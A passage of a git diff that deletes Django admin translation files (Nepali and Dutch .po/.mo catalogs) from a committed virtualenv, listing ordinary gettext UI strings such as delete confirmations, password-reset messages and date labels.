(http://www.transifex.com/django/django/language/ne/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: ne\n" -"Plural-Forms: nplurals=2; plural=(n != 1);\n" - -#, javascript-format -msgid "Available %s" -msgstr "उपलब्ध %s" - -#, javascript-format -msgid "" -"This is the list of available %s. You may choose some by selecting them in " -"the box below and then clicking the \"Choose\" arrow between the two boxes." -msgstr "" -"यो उपलब्ध %s को सुची हो। तपाईंले यी मध्य केही बक्सबाट चयन गरी बक्स बीच्को \"छान्नुहोस " -"\" तीरमा क्लिक गरी छान्नसक्नुहुन्छ । " - -#, javascript-format -msgid "Type into this box to filter down the list of available %s." -msgstr " उपलब्ध %s को सुचिबाट छान्न यो बक्समा टाइप गर्नुहोस " - -msgid "Filter" -msgstr "छान्नुहोस" - -msgid "Choose all" -msgstr "सबै छान्नुहोस " - -#, javascript-format -msgid "Click to choose all %s at once." -msgstr "एकै क्लिकमा सबै %s छान्नुहोस " - -msgid "Choose" -msgstr "छान्नुहोस " - -msgid "Remove" -msgstr "हटाउनुहोस" - -#, javascript-format -msgid "Chosen %s" -msgstr "छानिएको %s" - -#, javascript-format -msgid "" -"This is the list of chosen %s. You may remove some by selecting them in the " -"box below and then clicking the \"Remove\" arrow between the two boxes." -msgstr "" -"यो छानिएका %s को सुची हो । तपाईंले यी मध्य केही बक्सबाट चयन गरी बक्स बीच्को " -"\"हटाउनुहोस\" तीरमा क्लिक गरी हटाउन सक्नुहुन्छ । " - -msgid "Remove all" -msgstr "सबै हटाउनुहोस " - -#, javascript-format -msgid "Click to remove all chosen %s at once." -msgstr "एकै क्लिकमा सबै छानिएका %s हटाउनुहोस ।" - -msgid "%(sel)s of %(cnt)s selected" -msgid_plural "%(sel)s of %(cnt)s selected" -msgstr[0] "%(cnt)s को %(sel)s चयन गरियो" -msgstr[1] "%(cnt)s को %(sel)s चयन गरियो" - -msgid "" -"You have unsaved changes on individual editable fields. If you run an " -"action, your unsaved changes will be lost." -msgstr "तपाइको फेरबदल बचत भएको छैन । कार्य भएमा बचत नभएका फेरबदल हराउने छन् ।" - -msgid "" -"You have selected an action, but you haven't saved your changes to " -"individual fields yet. Please click OK to save. You'll need to re-run the " -"action." -msgstr "" -"तपाइले कार्य छाने पनि फेरबदलहरु बचत गर्नु भएको छैन । कृपया बचत गर्न हुन्छ थिच्नुहोस । कार्य " -"पुन: सञ्चालन गर्नुपर्नेछ ।" - -msgid "" -"You have selected an action, and you haven't made any changes on individual " -"fields. You're probably looking for the Go button rather than the Save " -"button." -msgstr "" -"तपाइले कार्य छाने पनि फाँटहरुमा फेरबदलहरु गर्नु भएको छैन । बचत गर्नु भन्दा पनि अघि बढ्नुहोस " -"।" - -#, javascript-format -msgid "Note: You are %s hour ahead of server time." -msgid_plural "Note: You are %s hours ahead of server time." -msgstr[0] "सूचना: तपाईँ सर्भर समय भन्दा %s घण्टा अगाडि हुनुहुन्छ ।" -msgstr[1] "सूचना: तपाईँ सर्भर समय भन्दा %s घण्टा अगाडि हुनुहुन्छ ।" - -#, javascript-format -msgid "Note: You are %s hour behind server time." -msgid_plural "Note: You are %s hours behind server time." -msgstr[0] "सूचना: तपाईँ सर्भर समय भन्दा %s घण्टा पछाडि हुनुहुन्छ ।" -msgstr[1] "सूचना: तपाईँ सर्भर समय भन्दा %s घण्टा पछाडि हुनुहुन्छ ।" - -msgid "Now" -msgstr "यतिखेर" - -msgid "Choose a Time" -msgstr "समय छान्नु होस ।" - -msgid "Choose a time" -msgstr "समय चयन गर्नुहोस" - -msgid "Midnight" -msgstr "मध्यरात" - -msgid "6 a.m." -msgstr "बिहान ६ बजे" - -msgid "Noon" -msgstr "मध्यान्ह" - -msgid "6 p.m." -msgstr "बेलुकी ६ बजे" - -msgid "Cancel" -msgstr "रद्द गर्नुहोस " - -msgid "Today" -msgstr "आज" - -msgid "Choose a Date" -msgstr "मिति छान्नु होस ।" - -msgid "Yesterday" -msgstr "हिजो" - -msgid "Tomorrow" -msgstr "भोलि" - -msgid "January" -msgstr "" - -msgid "February" -msgstr "" - -msgid "March" -msgstr "" - -msgid "April" -msgstr "" - -msgid "May" -msgstr "" - -msgid "June" -msgstr "" - -msgid "July" -msgstr "" - -msgid "August" -msgstr "" - -msgid "September" -msgstr "" - -msgid "October" -msgstr "" - -msgid "November" -msgstr "" - -msgid "December" -msgstr "" - -msgctxt "one letter Sunday" -msgid "S" -msgstr "" - -msgctxt "one letter Monday" -msgid "M" -msgstr "" - -msgctxt "one letter Tuesday" -msgid "T" -msgstr "" - -msgctxt "one letter Wednesday" -msgid "W" -msgstr "" - -msgctxt "one letter Thursday" -msgid "T" -msgstr "" - -msgctxt "one letter Friday" -msgid "F" -msgstr "" - -msgctxt "one letter Saturday" -msgid "S" -msgstr "" - -msgid "Show" -msgstr "देखाउनुहोस " - -msgid "Hide" -msgstr "लुकाउनुहोस " diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/nl/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/nl/LC_MESSAGES/django.mo deleted file mode 100644 index b2181e2e..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/nl/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/nl/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/nl/LC_MESSAGES/django.po deleted file mode 100644 index ee971ddf..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/nl/LC_MESSAGES/django.po +++ /dev/null @@ -1,799 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Bas Peschier , 2013 -# Claude Paroz , 2017 -# Evelijn Saaltink , 2016 -# Harro van der Klauw , 2012 -# Ilja Maas , 2015 -# Jannis Leidel , 2011 -# 6a27f10aef159701c7a5ff07f0fb0a78_05545ed , 2011-2012 -# dokterbob , 2015 -# Meteor0id, 2019-2020 -# 8de006b1b0894aab6aef71979dcd8bd6_5c6b207 , 2014-2015 -# Tino de Bruijn , 2011 -# Tonnes , 2017,2019-2020,2022-2024 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2024-05-22 11:46-0300\n" -"PO-Revision-Date: 2024-08-07 07:05+0000\n" -"Last-Translator: Tonnes , 2017,2019-2020,2022-2024\n" -"Language-Team: Dutch (http://app.transifex.com/django/django/language/nl/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: nl\n" -"Plural-Forms: nplurals=2; plural=(n != 1);\n" - -#, python-format -msgid "Delete selected %(verbose_name_plural)s" -msgstr "Geselecteerde %(verbose_name_plural)s verwijderen" - -#, python-format -msgid "Successfully deleted %(count)d %(items)s." -msgstr "%(count)d %(items)s met succes verwijderd." - -#, python-format -msgid "Cannot delete %(name)s" -msgstr "%(name)s kan niet worden verwijderd " - -msgid "Are you sure?" -msgstr "Weet u het zeker?" - -msgid "Administration" -msgstr "Beheer" - -msgid "All" -msgstr "Alle" - -msgid "Yes" -msgstr "Ja" - -msgid "No" -msgstr "Nee" - -msgid "Unknown" -msgstr "Onbekend" - -msgid "Any date" -msgstr "Elke datum" - -msgid "Today" -msgstr "Vandaag" - -msgid "Past 7 days" -msgstr "Afgelopen zeven dagen" - -msgid "This month" -msgstr "Deze maand" - -msgid "This year" -msgstr "Dit jaar" - -msgid "No date" -msgstr "Geen datum" - -msgid "Has date" -msgstr "Heeft datum" - -msgid "Empty" -msgstr "Leeg" - -msgid "Not empty" -msgstr "Niet leeg" - -#, python-format -msgid "" -"Please enter the correct %(username)s and password for a staff account. Note " -"that both fields may be case-sensitive." -msgstr "" -"Voer de correcte %(username)s en wachtwoord voor een stafaccount in. Let op " -"dat beide velden hoofdlettergevoelig zijn." - -msgid "Action:" -msgstr "Actie:" - -#, python-format -msgid "Add another %(verbose_name)s" -msgstr "Nog een %(verbose_name)s toevoegen" - -msgid "Remove" -msgstr "Verwijderen" - -msgid "Addition" -msgstr "Toevoeging" - -msgid "Change" -msgstr "Wijzigen" - -msgid "Deletion" -msgstr "Verwijdering" - -msgid "action time" -msgstr "actietijd" - -msgid "user" -msgstr "gebruiker" - -msgid "content type" -msgstr "inhoudstype" - -msgid "object id" -msgstr "object-id" - -#. Translators: 'repr' means representation -#. (https://docs.python.org/library/functions.html#repr) -msgid "object repr" -msgstr "object-repr" - -msgid "action flag" -msgstr "actievlag" - -msgid "change message" -msgstr "wijzigingsbericht" - -msgid "log entry" -msgstr "logboekvermelding" - -msgid "log entries" -msgstr "logboekvermeldingen" - -#, python-format -msgid "Added “%(object)s”." -msgstr "‘%(object)s’ toegevoegd." - -#, python-format -msgid "Changed “%(object)s” — %(changes)s" -msgstr "‘%(object)s’ gewijzigd - %(changes)s" - -#, python-format -msgid "Deleted “%(object)s.”" -msgstr "‘%(object)s’ verwijderd." - -msgid "LogEntry Object" -msgstr "LogEntry-object" - -#, python-brace-format -msgid "Added {name} “{object}”." -msgstr "{name} ‘{object}’ toegevoegd." - -msgid "Added." -msgstr "Toegevoegd." - -msgid "and" -msgstr "en" - -#, python-brace-format -msgid "Changed {fields} for {name} “{object}”." -msgstr "{fields} voor {name} ‘{object}’ gewijzigd." - -#, python-brace-format -msgid "Changed {fields}." -msgstr "{fields} gewijzigd." - -#, python-brace-format -msgid "Deleted {name} “{object}”." -msgstr "{name} ‘{object}’ verwijderd." - -msgid "No fields changed." -msgstr "Geen velden gewijzigd." - -msgid "None" -msgstr "Geen" - -msgid "Hold down “Control”, or “Command” on a Mac, to select more than one." -msgstr "" -"Houd ‘Control’, of ‘Command’ op een Mac, ingedrukt om meerdere items te " -"selecteren." - -msgid "Select this object for an action - {}" -msgstr "Selecteer dit object voor een actie - {}" - -#, python-brace-format -msgid "The {name} “{obj}” was added successfully." -msgstr "De {name} ‘{obj}’ is met succes toegevoegd." - -msgid "You may edit it again below." -msgstr "U kunt deze hieronder weer bewerken." - -#, python-brace-format -msgid "" -"The {name} “{obj}” was added successfully. You may add another {name} below." -msgstr "" -"De {name} ‘{obj}’ is met succes toegevoegd. U kunt hieronder nog een {name} " -"toevoegen." - -#, python-brace-format -msgid "" -"The {name} “{obj}” was changed successfully. You may edit it again below." -msgstr "" -"De {name} ‘{obj}’ is met succes gewijzigd. U kunt deze hieronder nogmaals " -"bewerken." - -#, python-brace-format -msgid "" -"The {name} “{obj}” was changed successfully. You may add another {name} " -"below." -msgstr "" -"De {name} ‘{obj}’ is met succes gewijzigd. U kunt hieronder nog een {name} " -"toevoegen." - -#, python-brace-format -msgid "The {name} “{obj}” was changed successfully." -msgstr "De {name} ‘{obj}’ is met succes gewijzigd." - -msgid "" -"Items must be selected in order to perform actions on them. No items have " -"been changed." -msgstr "" -"Er moeten items worden geselecteerd om acties op uit te voeren. Er zijn geen " -"items gewijzigd." - -msgid "No action selected." -msgstr "Geen actie geselecteerd." - -#, python-format -msgid "The %(name)s “%(obj)s” was deleted successfully." -msgstr "De %(name)s ‘%(obj)s’ is met succes verwijderd." - -#, python-format -msgid "%(name)s with ID “%(key)s” doesn’t exist. Perhaps it was deleted?" -msgstr "%(name)s met ID ‘%(key)s’ bestaat niet. Misschien is deze verwijderd?" - -#, python-format -msgid "Add %s" -msgstr "%s toevoegen" - -#, python-format -msgid "Change %s" -msgstr "%s wijzigen" - -#, python-format -msgid "View %s" -msgstr "%s weergeven" - -msgid "Database error" -msgstr "Databasefout" - -#, python-format -msgid "%(count)s %(name)s was changed successfully." -msgid_plural "%(count)s %(name)s were changed successfully." -msgstr[0] "%(count)s %(name)s is met succes gewijzigd." -msgstr[1] "%(count)s %(name)s zijn met succes gewijzigd." - -#, python-format -msgid "%(total_count)s selected" -msgid_plural "All %(total_count)s selected" -msgstr[0] "%(total_count)s geselecteerd" -msgstr[1] "Alle %(total_count)s geselecteerd" - -#, python-format -msgid "0 of %(cnt)s selected" -msgstr "0 van de %(cnt)s geselecteerd" - -#, python-format -msgid "Change history: %s" -msgstr "Wijzigingsgeschiedenis: %s" - -#. Translators: Model verbose name and instance -#. representation, suitable to be an item in a -#. list. -#, python-format -msgid "%(class_name)s %(instance)s" -msgstr "%(class_name)s %(instance)s" - -#, python-format -msgid "" -"Deleting %(class_name)s %(instance)s would require deleting the following " -"protected related objects: %(related_objects)s" -msgstr "" -"Het verwijderen van %(class_name)s %(instance)s vereist het verwijderen van " -"de volgende beschermde gerelateerde objecten: %(related_objects)s" - -msgid "Django site admin" -msgstr "Django-websitebeheer" - -msgid "Django administration" -msgstr "Django-beheer" - -msgid "Site administration" -msgstr "Websitebeheer" - -msgid "Log in" -msgstr "Aanmelden" - -#, python-format -msgid "%(app)s administration" -msgstr "%(app)s-beheer" - -msgid "Page not found" -msgstr "Pagina niet gevonden" - -msgid "We’re sorry, but the requested page could not be found." -msgstr "Het spijt ons, maar de opgevraagde pagina kon niet worden gevonden." - -msgid "Home" -msgstr "Voorpagina" - -msgid "Server error" -msgstr "Serverfout" - -msgid "Server error (500)" -msgstr "Serverfout (500)" - -msgid "Server Error (500)" -msgstr "Serverfout (500)" - -msgid "" -"There’s been an error. It’s been reported to the site administrators via " -"email and should be fixed shortly. Thanks for your patience." -msgstr "" -"Er heeft zich een fout voorgedaan. Dit is via e-mail bij de " -"websitebeheerders gemeld en zou snel verholpen moeten zijn. Bedankt voor uw " -"geduld." - -msgid "Run the selected action" -msgstr "De geselecteerde actie uitvoeren" - -msgid "Go" -msgstr "Uitvoeren" - -msgid "Click here to select the objects across all pages" -msgstr "Klik hier om alle objecten op alle pagina's te selecteren" - -#, python-format -msgid "Select all %(total_count)s %(module_name)s" -msgstr "Alle %(total_count)s %(module_name)s selecteren" - -msgid "Clear selection" -msgstr "Selectie wissen" - -msgid "Breadcrumbs" -msgstr "Broodkruimels" - -#, python-format -msgid "Models in the %(name)s application" -msgstr "Modellen in de %(name)s-toepassing" - -msgid "Add" -msgstr "Toevoegen" - -msgid "View" -msgstr "Weergeven" - -msgid "You don’t have permission to view or edit anything." -msgstr "U hebt geen rechten om iets te bekijken of te bewerken." - -msgid "" -"First, enter a username and password. Then, you’ll be able to edit more user " -"options." -msgstr "" -"Vul allereerst een gebruikersnaam en wachtwoord in. Daarna kunt u meer " -"gebruikersopties bewerken." - -msgid "Enter a username and password." -msgstr "Voer een gebruikersnaam en wachtwoord in." - -msgid "Change password" -msgstr "Wachtwoord wijzigen" - -msgid "Set password" -msgstr "Wachtwoord instellen" - -msgid "Please correct the error below." -msgid_plural "Please correct the errors below." -msgstr[0] "Corrigeer de onderstaande fout." -msgstr[1] "Corrigeer de onderstaande fouten." - -#, python-format -msgid "Enter a new password for the user %(username)s." -msgstr "" -"Voer een nieuw wachtwoord in voor de gebruiker %(username)s." - -msgid "" -"This action will enable password-based authentication for " -"this user." -msgstr "" -"Deze actie schakelt op wachtwoord gebaseerde authenticatie in voor deze gebruiker." - -msgid "Disable password-based authentication" -msgstr "Op wachtwoord gebaseerde authenticatie uitschakelen" - -msgid "Enable password-based authentication" -msgstr "Op wachtwoord gebaseerde authenticatie inschakelen" - -msgid "Skip to main content" -msgstr "Naar hoofdinhoud" - -msgid "Welcome," -msgstr "Welkom," - -msgid "View site" -msgstr "Website bekijken" - -msgid "Documentation" -msgstr "Documentatie" - -msgid "Log out" -msgstr "Afmelden" - -#, python-format -msgid "Add %(name)s" -msgstr "%(name)s toevoegen" - -msgid "History" -msgstr "Geschiedenis" - -msgid "View on site" -msgstr "Weergeven op website" - -msgid "Filter" -msgstr "Filter" - -msgid "Hide counts" -msgstr "Aantallen verbergen" - -msgid "Show counts" -msgstr "Aantallen tonen" - -msgid "Clear all filters" -msgstr "Alle filters wissen" - -msgid "Remove from sorting" -msgstr "Verwijderen uit sortering" - -#, python-format -msgid "Sorting priority: %(priority_number)s" -msgstr "Sorteerprioriteit: %(priority_number)s" - -msgid "Toggle sorting" -msgstr "Sortering aan/uit" - -msgid "Toggle theme (current theme: auto)" -msgstr "Thema wisselen (huidige thema: auto)" - -msgid "Toggle theme (current theme: light)" -msgstr "Thema wisselen (huidige thema: licht)" - -msgid "Toggle theme (current theme: dark)" -msgstr "Thema wisselen (huidige thema: donker)" - -msgid "Delete" -msgstr "Verwijderen" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would result in deleting " -"related objects, but your account doesn't have permission to delete the " -"following types of objects:" -msgstr "" -"Het verwijderen van %(object_name)s '%(escaped_object)s' zou ook " -"gerelateerde objecten verwijderen, maar uw account heeft geen rechten om de " -"volgende typen objecten te verwijderen:" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would require deleting the " -"following protected related objects:" -msgstr "" -"Het verwijderen van %(object_name)s '%(escaped_object)s' vereist het " -"verwijderen van de volgende gerelateerde objecten:" - -#, python-format -msgid "" -"Are you sure you want to delete the %(object_name)s \"%(escaped_object)s\"? " -"All of the following related items will be deleted:" -msgstr "" -"Weet u zeker dat u %(object_name)s '%(escaped_object)s' wilt verwijderen? " -"Alle volgende gerelateerde objecten worden verwijderd:" - -msgid "Objects" -msgstr "Objecten" - -msgid "Yes, I’m sure" -msgstr "Ja, ik weet het zeker" - -msgid "No, take me back" -msgstr "Nee, teruggaan" - -msgid "Delete multiple objects" -msgstr "Meerdere objecten verwijderen" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would result in deleting related " -"objects, but your account doesn't have permission to delete the following " -"types of objects:" -msgstr "" -"Het verwijderen van de geselecteerde %(objects_name)s zou ook gerelateerde " -"objecten verwijderen, maar uw account heeft geen rechten om de volgende " -"typen objecten te verwijderen:" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would require deleting the following " -"protected related objects:" -msgstr "" -"Het verwijderen van de geselecteerde %(objects_name)s vereist het " -"verwijderen van de volgende beschermde gerelateerde objecten:" - -#, python-format -msgid "" -"Are you sure you want to delete the selected %(objects_name)s? All of the " -"following objects and their related items will be deleted:" -msgstr "" -"Weet u zeker dat u de geselecteerde %(objects_name)s wilt verwijderen? Alle " -"volgende objecten en hun aanverwante items zullen worden verwijderd:" - -msgid "Delete?" -msgstr "Verwijderen?" - -#, python-format -msgid " By %(filter_title)s " -msgstr " Op %(filter_title)s " - -msgid "Summary" -msgstr "Samenvatting" - -msgid "Recent actions" -msgstr "Recente acties" - -msgid "My actions" -msgstr "Mijn acties" - -msgid "None available" -msgstr "Geen beschikbaar" - -msgid "Added:" -msgstr "Toegevoegd:" - -msgid "Changed:" -msgstr "Gewijzigd:" - -msgid "Deleted:" -msgstr "Verwijderd:" - -msgid "Unknown content" -msgstr "Onbekende inhoud" - -msgid "" -"Something’s wrong with your database installation. Make sure the appropriate " -"database tables have been created, and make sure the database is readable by " -"the appropriate user." -msgstr "" -"Er is iets mis met de installatie van uw database. Zorg ervoor dat de juiste " -"databasetabellen zijn aangemaakt en dat de database voor de juiste gebruiker " -"leesbaar is." - -#, python-format -msgid "" -"You are authenticated as %(username)s, but are not authorized to access this " -"page. Would you like to login to a different account?" -msgstr "" -"U bent geverifieerd als %(username)s, maar niet bevoegd om deze pagina te " -"bekijken. Wilt u zich aanmelden bij een andere account?" - -msgid "Forgotten your password or username?" -msgstr "Wachtwoord of gebruikersnaam vergeten?" - -msgid "Toggle navigation" -msgstr "Navigatie aan/uit" - -msgid "Sidebar" -msgstr "Zijbalk" - -msgid "Start typing to filter…" -msgstr "Begin met typen om te filteren…" - -msgid "Filter navigation items" -msgstr "Navigatie-items filteren" - -msgid "Date/time" -msgstr "Datum/tijd" - -msgid "User" -msgstr "Gebruiker" - -msgid "Action" -msgstr "Actie" - -msgid "entry" -msgid_plural "entries" -msgstr[0] "vermelding" -msgstr[1] "vermeldingen" - -msgid "" -"This object doesn’t have a change history. It probably wasn’t added via this " -"admin site." -msgstr "" -"Dit object heeft geen wijzigingsgeschiedenis. Het is mogelijk niet via de " -"beheerwebsite toegevoegd." - -msgid "Show all" -msgstr "Alles tonen" - -msgid "Save" -msgstr "Opslaan" - -msgid "Popup closing…" -msgstr "Pop-up sluiten…" - -msgid "Search" -msgstr "Zoeken" - -#, python-format -msgid "%(counter)s result" -msgid_plural "%(counter)s results" -msgstr[0] "%(counter)s resultaat" -msgstr[1] "%(counter)s resultaten" - -#, python-format -msgid "%(full_result_count)s total" -msgstr "%(full_result_count)s totaal" - -msgid "Save as new" -msgstr "Opslaan als nieuw item" - -msgid "Save and add another" -msgstr "Opslaan en nieuwe toevoegen" - -msgid "Save and continue editing" -msgstr "Opslaan en opnieuw bewerken" - -msgid "Save and view" -msgstr "Opslaan en weergeven" - -msgid "Close" -msgstr "Sluiten" - -#, python-format -msgid "Change selected %(model)s" -msgstr "Geselecteerde %(model)s wijzigen" - -#, python-format -msgid "Add another %(model)s" -msgstr "Nog een %(model)s toevoegen" - -#, python-format -msgid "Delete selected %(model)s" -msgstr "Geselecteerde %(model)s verwijderen" - -#, python-format -msgid "View selected %(model)s" -msgstr "Geselecteerde %(model)s weergeven" - -msgid "Thanks for spending some quality time with the web site today." -msgstr "Bedankt voor het vandaag wat tijd besteden aan de website." - -msgid "Log in again" -msgstr "Opnieuw aanmelden" - -msgid "Password change" -msgstr "Wachtwoordwijziging" - -msgid "Your password was changed." -msgstr "Uw wachtwoord is gewijzigd." - -msgid "" -"Please enter your old password, for security’s sake, and then enter your new " -"password twice so we can verify you typed it in correctly." -msgstr "" -"Voer omwille van beveiliging uw oude en twee keer uw nieuwe wachtwoord in, " -"zodat we kunnen controleren of u geen typefouten hebt gemaakt." - -msgid "Change my password" -msgstr "Mijn wachtwoord wijzigen" - -msgid "Password reset" -msgstr "Wachtwoord hersteld" - -msgid "Your password has been set. You may go ahead and log in now." -msgstr "Uw wachtwoord is ingesteld. U kunt nu verdergaan en zich aanmelden." - -msgid "Password reset confirmation" -msgstr "Bevestiging wachtwoord herstellen" - -msgid "" -"Please enter your new password twice so we can verify you typed it in " -"correctly." -msgstr "" -"Voer het nieuwe wachtwoord twee keer in, zodat we kunnen controleren of er " -"geen typefouten zijn gemaakt." - -msgid "New password:" -msgstr "Nieuw wachtwoord:" - -msgid "Confirm password:" -msgstr "Bevestig wachtwoord:" - -msgid "" -"The password reset link was invalid, possibly because it has already been " -"used. Please request a new password reset." -msgstr "" -"De link voor het herstellen van het wachtwoord is ongeldig, waarschijnlijk " -"omdat de link al eens is gebruikt. Vraag opnieuw een wachtwoord aan." - -msgid "" -"We’ve emailed you instructions for setting your password, if an account " -"exists with the email you entered. You should receive them shortly." -msgstr "" -"We hebben u instructies gestuurd voor het instellen van uw wachtwoord, als " -"er een account bestaat met het door u ingevoerde e-mailadres. U zou deze " -"straks moeten ontvangen." - -msgid "" -"If you don’t receive an email, please make sure you’ve entered the address " -"you registered with, and check your spam folder." -msgstr "" -"Als u geen e-mail ontvangt, controleer dan of u het e-mailadres hebt " -"ingevoerd waarmee u zich hebt geregistreerd, en controleer uw spam-map." - -#, python-format -msgid "" -"You're receiving this email because you requested a password reset for your " -"user account at %(site_name)s." -msgstr "" -"U ontvangt deze e-mail, omdat u een aanvraag voor opnieuw instellen van het " -"wachtwoord voor uw account op %(site_name)s hebt gedaan." - -msgid "Please go to the following page and choose a new password:" -msgstr "Ga naar de volgende pagina en kies een nieuw wachtwoord:" - -msgid "Your username, in case you’ve forgotten:" -msgstr "Uw gebruikersnaam, mocht u deze vergeten zijn:" - -msgid "Thanks for using our site!" -msgstr "Bedankt voor het gebruik van onze website!" - -#, python-format -msgid "The %(site_name)s team" -msgstr "Het %(site_name)s-team" - -msgid "" -"Forgotten your password? Enter your email address below, and we’ll email " -"instructions for setting a new one." -msgstr "" -"Wachtwoord vergeten? Vul hieronder uw e-mailadres in, en we sturen " -"instructies voor het instellen van een nieuw wachtwoord." - -msgid "Email address:" -msgstr "E-mailadres:" - -msgid "Reset my password" -msgstr "Mijn wachtwoord opnieuw instellen" - -msgid "Select all objects on this page for an action" -msgstr "Selecteer alle objecten op deze pagina voor een actie" - -msgid "All dates" -msgstr "Alle datums" - -#, python-format -msgid "Select %s" -msgstr "Selecteer %s" - -#, python-format -msgid "Select %s to change" -msgstr "Selecteer %s om te wijzigen" - -#, python-format -msgid "Select %s to view" -msgstr "Selecteer %s om te bekijken" - -msgid "Date:" -msgstr "Datum:" - -msgid "Time:" -msgstr "Tijd:" - -msgid "Lookup" -msgstr "Opzoeken" - -msgid "Currently:" -msgstr "Huidig:" - -msgid "Change:" -msgstr "Wijzigen:" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/nl/LC_MESSAGES/djangojs.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/nl/LC_MESSAGES/djangojs.mo deleted file mode 100644 index 69485a26..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/nl/LC_MESSAGES/djangojs.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/nl/LC_MESSAGES/djangojs.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/nl/LC_MESSAGES/djangojs.po deleted file mode 100644 index 8c7a4ba1..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/nl/LC_MESSAGES/djangojs.po +++ /dev/null @@ -1,334 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Bouke Haarsma , 2013 -# Evelijn Saaltink , 2016 -# Harro van der Klauw , 2012 -# Ilja Maas , 2015 -# Jannis Leidel , 2011 -# 6a27f10aef159701c7a5ff07f0fb0a78_05545ed , 2011-2012 -# Meteor0id, 2019-2020 -# 8de006b1b0894aab6aef71979dcd8bd6_5c6b207 , 2015 -# Tonnes , 2019-2020,2022-2023 -# wunki , 2011 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2023-09-18 15:04-0300\n" -"PO-Revision-Date: 2023-12-04 07:59+0000\n" -"Last-Translator: Tonnes , 2019-2020,2022-2023\n" -"Language-Team: Dutch (http://app.transifex.com/django/django/language/nl/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: nl\n" -"Plural-Forms: nplurals=2; plural=(n != 1);\n" - -#, javascript-format -msgid "Available %s" -msgstr "Beschikbare %s" - -#, javascript-format -msgid "" -"This is the list of available %s. You may choose some by selecting them in " -"the box below and then clicking the \"Choose\" arrow between the two boxes." -msgstr "" -"Dit is de lijst met beschikbare %s. U kunt er een aantal kiezen door ze in " -"het vak hieronder te selecteren en daarna op de pijl 'Kiezen' tussen de twee " -"vakken te klikken." - -#, javascript-format -msgid "Type into this box to filter down the list of available %s." -msgstr "Typ in dit vak om de lijst met beschikbare %s te filteren." - -msgid "Filter" -msgstr "Filter" - -msgid "Choose all" -msgstr "Alle kiezen" - -#, javascript-format -msgid "Click to choose all %s at once." -msgstr "Klik om alle %s te kiezen." - -msgid "Choose" -msgstr "Kiezen" - -msgid "Remove" -msgstr "Verwijderen" - -#, javascript-format -msgid "Chosen %s" -msgstr "Gekozen %s" - -#, javascript-format -msgid "" -"This is the list of chosen %s. You may remove some by selecting them in the " -"box below and then clicking the \"Remove\" arrow between the two boxes." -msgstr "" -"Dit is de lijst met gekozen %s. U kunt er een aantal verwijderen door ze in " -"het vak hieronder te selecteren en daarna op de pijl 'Verwijderen' tussen de " -"twee vakken te klikken." - -#, javascript-format -msgid "Type into this box to filter down the list of selected %s." -msgstr "Typ in dit vak om de lijst met geselecteerde %s te filteren." - -msgid "Remove all" -msgstr "Alle verwijderen" - -#, javascript-format -msgid "Click to remove all chosen %s at once." -msgstr "Klik om alle gekozen %s tegelijk te verwijderen." - -#, javascript-format -msgid "%s selected option not visible" -msgid_plural "%s selected options not visible" -msgstr[0] "%s geselecteerde optie niet zichtbaar" -msgstr[1] "%s geselecteerde opties niet zichtbaar" - -msgid "%(sel)s of %(cnt)s selected" -msgid_plural "%(sel)s of %(cnt)s selected" -msgstr[0] "%(sel)s van de %(cnt)s geselecteerd" -msgstr[1] "%(sel)s van de %(cnt)s geselecteerd" - -msgid "" -"You have unsaved changes on individual editable fields. If you run an " -"action, your unsaved changes will be lost." -msgstr "" -"U hebt niet-opgeslagen wijzigingen op afzonderlijke bewerkbare velden. Als u " -"een actie uitvoert, gaan uw wijzigingen verloren." - -msgid "" -"You have selected an action, but you haven’t saved your changes to " -"individual fields yet. Please click OK to save. You’ll need to re-run the " -"action." -msgstr "" -"U hebt een actie geselecteerd, maar uw wijzigingen in afzonderlijke velden " -"nog niet opgeslagen. Klik op OK om deze op te slaan. U dient de actie " -"opnieuw uit te voeren." - -msgid "" -"You have selected an action, and you haven’t made any changes on individual " -"fields. You’re probably looking for the Go button rather than the Save " -"button." -msgstr "" -"U hebt een actie geselecteerd, en geen wijzigingen in afzonderlijke velden " -"aangebracht. Waarschijnlijk zoekt u de knop Gaan in plaats van de knop " -"Opslaan." - -msgid "Now" -msgstr "Nu" - -msgid "Midnight" -msgstr "Middernacht" - -msgid "6 a.m." -msgstr "6 uur 's ochtends" - -msgid "Noon" -msgstr "12 uur 's middags" - -msgid "6 p.m." -msgstr "6 uur 's avonds" - -#, javascript-format -msgid "Note: You are %s hour ahead of server time." -msgid_plural "Note: You are %s hours ahead of server time." -msgstr[0] "Let op: u ligt %s uur voor ten opzichte van de servertijd." -msgstr[1] "Let op: u ligt %s uur voor ten opzichte van de servertijd." - -#, javascript-format -msgid "Note: You are %s hour behind server time." -msgid_plural "Note: You are %s hours behind server time." -msgstr[0] "Let op: u ligt %s uur achter ten opzichte van de servertijd." 